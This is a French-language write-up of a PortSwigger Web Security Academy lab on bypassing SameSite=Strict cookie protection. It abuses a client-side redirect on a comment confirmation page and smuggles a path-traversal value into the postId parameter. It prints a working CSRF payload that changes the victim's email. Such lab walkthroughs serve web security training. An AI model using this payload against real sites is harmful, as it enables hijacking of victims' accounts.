> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/csrf/samesite-strict-bypass-via-client-side-redirect.md).

# Contournement de SameSite Strict via redirection côté client

Notes sur le contournement de SameSite Strict via redirection côté client pour les laboratoires PortSwigger Web Security Academy, y compris le flux de travail d’exploitation, les tests de charge utile, la validation avec Burp Suite et le contexte de remédiation.

### Contournement de SameSite Strict via une redirection côté client

Le formulaire de changement d'e-mail du labo est vulnérable au CSRF. L'objectif est de modifier l'adresse e-mail de la victime en hébergeant l'exploit sur le serveur d'exploit fourni.

**Tester l'accès**/ Compte utilisé dans le labo : `wiener:peter`

### Observations principales

1. La fonctionnalité de changement d'e-mail fonctionne via une requête GET de ce type :

```
/my-account/change-email?email=test@test.com&submit=1
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c279c29fa3fd5ccfc80ca7c720668a4706016e5e%2F%7BF725B8E6-39FA-4AB5-B021-83E05A2866ED%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

En envoyant une redirection JavaScript comme celle-ci :

```javascript
<script>
location="https://0a75004904ecc7828082cb3b00cc0068.web-security-academy.net/my-account/change-email?email=hack@test.com&submit=1";
</script>
```

* la page demande de s'authentifier si l'utilisateur n'est pas connecté — la requête ne transmet pas le cookie de session lorsqu'elle provient d'un autre site.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8a0785a909909198d37154188592bdf694f11188%2F%7B40D344CB-B245-47BB-978B-67395A966759%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Le `Set-Cookie` l'en-tête contient `SameSite=Strict`, ce qui empêche l'envoi du cookie de session lorsqu'une navigation est initiée depuis un autre contexte (cross-site), bloquant normalement les attaques de redirection classiques.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7e5a93876195634ad746eec8f7616fe08bd69822%2F%7B40E7CE84-9F58-4CE0-ABBA-C36450709733%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Zone exploitée (commentaires → Confirmation → Redirection)

1. Il existe une zone de commentaires qui redirige ensuite vers :

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-34c4ed0a0afb5edf7c6448634f7997ad59fa6119%2F%7B5A780B31-5971-4D76-905D-3D15A05DA61D%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

```
post/comment/confirmation?postId=8
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-01b0d5113f39a9ee7ff00ef22d731d90743fe07a%2F%7BF8EFB3C0-8422-4F58-A261-EA208AEDD2FE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Un script sur la page de confirmation extrait le `postId` paramètre et redirige après 3 secondes vers l'article correspondant :

```javascript
redirectOnConfirmation = (blogPath) => {
    setTimeout(() => {
        const url = new URL(window.location);
        const postId = url.searchParams.get("postId");
        window.location = blogPath + '/' + postId;
    }, 3000);
}
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-04cbdecfbd48765c8e35e1c42dd4cff58c35dd71%2F%7BFF4DA673-40BE-4323-A16B-79A11BAD3B25%7D.png?alt=media" alt="" width="353"><figcaption></figcaption></figure>

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b02ac08f943a02057ae35a483423edf3c0f5009e%2F%7BBA448886-F21F-4DC4-AFE8-B2E111BBA46C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```javascript
window.location = blogPath + '/' + postId;
```

```
window.location = blogPath + '/' + ../my-account;
```

En observant ce comportement, on constate que `postId` n'est pas strictement obligatoire : si l'on modifie sa valeur (par ex. `test`), la redirection se fait vers `.../test` sans validation apparente.

#### Contourner SameSite Strict via un chemin manipulé

Idée : remplacer la redirection vers `blogPath + '/' + postId` par `postId` contenant des segments relatifs `..` pour atteindre un chemin du site cible (répertoire parent), par exemple :

`/post/comment/confirmation?postId=../my-account`

* la redirection mène alors vers un répertoire supérieur sans bloquer le cookie de session.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e6794c405153de696edb99d1555959467b7a9bcf%2F%7BF1ABC765-E66E-4261-BE0B-43E5E79F14C6%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

En construisant un `postId`, plus spécifique, on cible directement la fonction de changement d'e-mail :

```
/post/comment/confirmation?postId=../../my-account/change-email?email=hack@jordann.com%26submit=1
```

Redirection simple vers la page de changement d'e-mail :

```javascript
<script>
location="https://0a75004904ecc7828082cb3b00cc0068.web-security-academy.net/post/comment/confirmation?postId=../../my-account/change-email?email=hack@jordann.com%26submit=1";
</script>
```


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